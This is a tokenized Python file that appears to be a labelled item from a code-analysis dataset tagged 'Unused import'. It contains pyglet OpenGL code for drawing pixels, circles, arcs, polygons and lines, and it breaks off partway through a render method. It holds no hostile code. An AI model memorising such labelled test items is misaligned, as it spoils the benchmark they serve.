[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Impl", "ement", "ing", " ", "2", "D", " ", "drawing", " ", "primi", "tives", " ", "usi", "ng", "\\", "10", ";", "pyg", "let", ".", "gl", "\\", "10", ";", "copyr", "ight", " ", "2007", " ", "by", " ", "Fla", "vio", " ", "Code", "co", " ", "Coe", "lh", "o", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "division_", ",_", "print", "\\u", "function_", ",_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyglet_", "import_", "font_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "import_", "clock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "import_", "window_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "import_", "image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "._", "gl_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "._", "window_", "import_", "mouse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "._", "window_", "import_", "event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyglet_", "._", "window_", "import_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "intersect", "able", " ", "shape", "s", " ", "(", "dragg", "able", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "=_", "window_", "._", "Window_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Clear", "Color_", "(_", ".8_", ",_", ".8_", ",_", ".8_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Enable_", "(_", "GL", "\\u", "BLEND", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Ble", "nd", "Func_", "(_", "GL", "\\u", "SR", "C", "\\u", "ALPHA_", ",_", "GL", "\\u", "ONE", "\\u", "MINUS", "\\u", "SR", "C", "\\u", "ALPHA_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "Pixel_", "(_", "10_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "Circle_", "(_", "200_", ",_", "100_", ",_", "width_", "=_", "100_", ",_", "color_", "=_", "(_", "0._", ",_", ".9_", ",_", "0._", ",_", "1._", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "=_", "Arc_", "(_", "150_", ",_", "150_", ",_", "radius_", "=_", "100_", ",_", "color_", "=_", "(_", "1._", ",_", "0._", ",_", "0._", ",_", "1._", ")_", ",_", "sweep_", "=_", "90_", ",_", "style_", "=_", "GLU", "\\u", "FILL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "Polygon_", "(_", "[_", "(_", "0_", ",_", "0_", ")_", ",_", "(_", "50_", ",_", "200_", ")_", ",_", "(_", "80_", ",_", "200_", ")_", ",_", "(_", "60_", ",_", "100_", ")_", ",_", "(_", "100_", ",_", "5_", ")_", "]_", ",_", "color_", "=_", "(_", ".3_", ",_", "0.2_", ",_", "0.5_", ",_", ".7_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "Line_", "(_", "(_", "10_", ",_", "299_", ")_", ",_", "(_", "100_", ",_", "299_", ")_", ",_", "stroke_", "=_", "2_", ",_", "color_", "=_", "(_", "0_", ",_", "0._", ",_", "1._", ",_", "1._", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "win_", "._", "has", "\\u", "exit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "win_", "._", "dispatch", "\\u", "events_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col_", "=_", "[_", "random_", "._", "random_", "(_", ")_", "for_", "i_", "in_", "range_", "(_", "3_", ")_", "]_", "+_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Clear_", "(_", "GL", "\\u", "COLOR", "\\u", "BUFF", "ER", "\\u", "BIT_", "|_", "GL", "\\u", "DEPTH", "\\u", "BUFF", "ER", "\\u", "BIT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "._", "color_", "=_", "col_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "a_", "._", "rotation_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "._", "render_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "win_", "._", "flip_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Basic", " ", "attribute", "s", " ", "of", " ", "all", " ", "drawing", " ", "primi", "tives", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "loc_", "=_", "property_", "(_", "get", "Loc_", ",_", "set", "Loc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "property_", "(_", "get", "X_", ",_", "set", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "property_", "(_", "get", "Y_", ",_", "set", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "width_", "=_", "property_", "(_", "get", "Width_", ",_", "set", "Width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "height_", "=_", "property_", "(_", "get", "Height_", ",_", "set", "Height_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "z_", "=_", "0_", ",_", "color_", "=_", "(_", "0._", ",_", "0._", ",_", "0._", ",_", "1._", ")_", ",_", "stroke_", "=_", "0_", ",_", "rotation_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rect_", "=_", "Rect_", "(_", "x_", ",_", "y_", ",_", "1_", ",_", "1_", ")_", "#", " ", "this", " ", "inits", " ", "x", ",", "y", " ", "and", " ", "loc", " ", "as", " ", "well_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "visible_", "=_", "1_", "#", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "z_", "=_", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rotation_", "=_", "rotation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stroke_", "=_", "stroke_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "color_", "=_", "color_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "q_", "=_", "glu", "New", "Quad", "ric", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Loc_", "(_", "self_", ",_", "p_", ")_", ":_", "self_", "._", "rect_", "._", "loc_", "=_", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Loc_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "._", "loc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set", "X_", "(_", "self_", ",_", "x_", ")_", ":_", "self_", "._", "rect_", "._", "x_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "X_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "._", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set", "Y_", "(_", "self_", ",_", "y_", ")_", ":_", "self_", "._", "rect_", "._", "y_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Y_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "._", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set", "Width_", "(_", "self_", ",_", "w_", ")_", ":_", "self_", "._", "rect_", "._", "width_", "=_", "w_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Width_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "._", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set", "Height_", "(_", "self_", ",_", "h_", ")_", ":_", "self_", "._", "rect_", "._", "height_", "=_", "h_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Height_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "rect_", "._", "height_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Pixel_", "(_", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "A", " ", "pixel", " ", "at", " ", "a", " ", "give", "n", " ", "x", ",", "y", ",", "z", " ", "position", " ", "and", " ", "color", ".", "\\", "10", ";", " ", " ", " ", " ", "Pix", "el", "(", "x", "=", "1", "2", ",", " ", "y", "=", "100", ",", " ", "z", "=", "900", ",", " ", "color", "=(", "1", ",", "0", ",", "0", ",", "0.", "5", "))\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Pixel_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "render_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Draw", "s", " ", "a", " ", "pixel", " ", "at", " ", "a", " ", "give", "n", " ", "x", " ", "and", " ", "y", " ", "with", " ", "give", "n", " ", "color", " ", ".", "\\", "10", ";", " ", " ", " ", " ", "Color", " ", "=", " ", "3", " ", "or", " ", "4", " ", "arg", " ", "tuple", ".", " ", "RGB", " ", "values", " ", "from", " ", "0", " ", "to", " ", "1", " ", "bei", "ng", " ", "1", " ", "max", " ", "value", " ", "(", "1", ",", " ", "1", ",", " ", "1", ")", " ", "wou", "ld", " ", "be", " ", "white", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Color", "4f", "_", "(_", "*_", "self_", "._", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", " ", " ", " ", "gl", "Disa", "ble", "(", "GL", "\\u", "TEXT", "URE", "\\u", "2", "D", ")", " ", "#", " ", "disable", " ", "in", " ", "case", " ", "it", " ", "was", " ", "on_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Push", "Matrix_", "(_", ")_", "#", " ", "remember", " ", "previ", "ous", " ", "matrix", " ", "state", " ", "bef", "ore", " ", "translat", "ing", ",", " ", "rotati", "ng_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Translate", "f_", "(_", "self_", "._", "x_", ",_", "self_", "._", "y_", ",_", "-_", "self_", "._", "z_", ")_", "#", " ", "translat", "e", " ", "to", " ", "point", " ", "to", " ", "draw_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Begin_", "(_", "GL", "\\u", "POINTS_", ")_", "#", " ", "draw", " ", "point_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Vertex3f_", "(_", "0.0_", ",_", "0.0_", ",_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "End_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Pop", "Matrix_", "(_", ")_", "#", " ", "back", " ", "to", " ", "previ", "ous", " ", "matrix", " ", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pixel_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "intersect", "s_", "(_", "self_", ",_", "x_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "==_", "self_", "._", "x_", "and_", "y_", "==_", "self_", "._", "y_", ":_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Circle_", "(_", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Circ", "le", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "Circ", "le", "(", "x", "=", "20", ",", " ", "y", "=", "100", ",", " ", "z", "=", "1", ",", " ", "widt", "h", "=", "300", ",", " ", "color", "=(", "1", ",", "1", ",", "0", ",", "0.", "3", "),", " ", "strok", "e", "=", "5", ",", " ", "rotati", "on", "=", "0", ",", " ", "style", "=", "GLU", "\\u", "FILL", ")", "\\", "10", ";", " ", " ", " ", " ", "style", " ", "choice", "s", " ", "are", " ", ":", " ", "GLU", "\\u", "LINE", ",", " ", "GLU", "\\u", "FILL", ",", " ", "GLU", "\\u", "SIL", "HO", "UE", "TT", "E", ",", " ", "GLU", "\\u", "POINT", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "width_", "=_", "property_", "(_", "Base_", "._", "get", "Width_", ",_", "set", "Width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Circle_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", "=_", "10_", ",_", "y_", "=_", "10_", ",_", "z_", "=_", "0_", ",_", "width_", "=_", "2_", ",_", "color_", "=_", "(_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ")_", ",_", "stroke_", "=_", "0_", ",_", "rotation_", "=_", "0.0_", ",_", "style_", "=_", "GLU", "\\u", "FILL_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "radius_", "=_", "width_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rect_", "=_", "Rect_", "(_", "x_", ",_", "y_", ",_", "width_", ",_", "width_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "style_", "=_", "style_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "circle", "resolution_", "=_", "60_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Base_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "z_", ",_", "color_", ",_", "stroke_", ",_", "rotation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Circle_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Width_", "(_", "self_", ",_", "w_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "radius_", "=_", "w_", "*_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rect_", "._", "width_", "=_", "w_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Circle_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "render_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Draw", " ", "Circ", "le", "\\", "10", ";", " ", " ", " ", " ", "x", ",", " ", "y", ",", " ", "z", ",", " ", "widt", "h", " ", "in", " ", "pixel", ",", " ", "rotati", "on", ",", " ", "color", " ", "and", " ", "line", " ", "widt", "h", " ", "in", " ", "px", "\\", "10", ";", " ", " ", " ", " ", "style", " ", "choice", "s", " ", "are", " ", ":", " ", "GLU", "\\u", "LINE", ",", " ", "GLU", "\\u", "FILL", ",", " ", "GLU", "\\u", "SIL", "HO", "UE", "TT", "E", ",", " ", "GLU", "\\u", "POINT", "\\", "10", ";", " ", " ", " ", " ", "TO", " ", "DO", " ", ":", " ", "textu", "red", " ", "circles", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Color", "4f", "_", "(_", "*_", "self_", "._", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Push", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Translate", "f_", "(_", "self_", "._", "x_", ",_", "self_", "._", "y_", ",_", "-_", "self_", "._", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Rotate", "f_", "(_", "self_", "._", "rotation_", ",_", "0_", ",_", "0_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "radius_", "<_", "1_", ":_", "self_", "._", "radius_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "stroke_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inner_", "=_", "self_", "._", "radius_", "-_", "self_", "._", "stroke_", "#", " ", "outline", " ", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "inner_", "<_", "0_", ":_", "inner_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inner_", "=_", "0_", "#", " ", "filled_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glu", "Quad", "ric", "Draw", "Style_", "(_", "self_", "._", "q_", ",_", "self_", "._", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "glu", "Disk_", "(_", "self_", "._", "q_", ",_", "inner_", ",_", "self_", "._", "radius_", ",_", "self_", "._", "circle", "resolution_", ",_", "1_", ")_", "#", " ", "glu", "Disk", "(", "quad", ",", " ", "inner", ",", " ", "outer", ",", " ", "slice", "s", ",", " ", "loop", "s", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Pop", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Arc_", "(_", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Arc", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "Arc", "(", "x", "=", "10", ",", " ", "y", "=", "10", ",", " ", "z", "=", "0", ",", " ", "radi", "us", "=", "1", ",", " ", "start", "=", "0", ",", " ", "sweep", "=", "1", ",", " ", "color", "=(", "0", ",", "0", ",", "0", ",", "1", "),", " ", "strok", "e", "=", "0", ",", " ", "rotati", "on", "=", "0.", "0", ",", " ", "style", "=", "GLU", "\\u", "FILL", ")", "\\", "10", ";", " ", " ", " ", " ", "style", " ", "choice", "s", " ", "are", " ", ":", " ", "GLU", "\\u", "LINE", ",", " ", "GLU", "\\u", "FILL", ",", " ", "GLU", "\\u", "SIL", "HO", "UE", "TT", "E", ",", " ", "GLU", "\\u", "POINT", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Arc_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", "=_", "10_", ",_", "y_", "=_", "10_", ",_", "z_", "=_", "0_", ",_", "radius_", "=_", "1_", ",_", "start_", "=_", "0_", ",_", "sweep_", "=_", "1_", ",_", "color_", "=_", "(_", "0_", ",_", "0_", ",_", "0_", ",_", "1_", ")_", ",_", "stroke_", "=_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rotation_", "=_", "0.0_", ",_", "style_", "=_", "GLU", "\\u", "FILL_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Base_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "z_", ",_", "color_", ",_", "stroke_", ",_", "rotation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "radius_", "=_", "radius_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "start_", "=_", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sweep_", "=_", "sweep_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "style_", "=_", "style_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "circle", "resolution_", "=_", "60_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Arc_", "(_", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "render_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Draw", "s", " ", "Arc", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Color", "4f", "_", "(_", "*_", "self_", "._", "color_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Push", "Matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gl", "Translate", "f_", "(_", "self_", "._", "x_", ",_", "self_", "._", "y_", ",_", "-_", "self_", "._", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gl", "Rotate", "f_", "(_", "self_", "._", "rotation_", ",_", "0_", ",_", "0_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 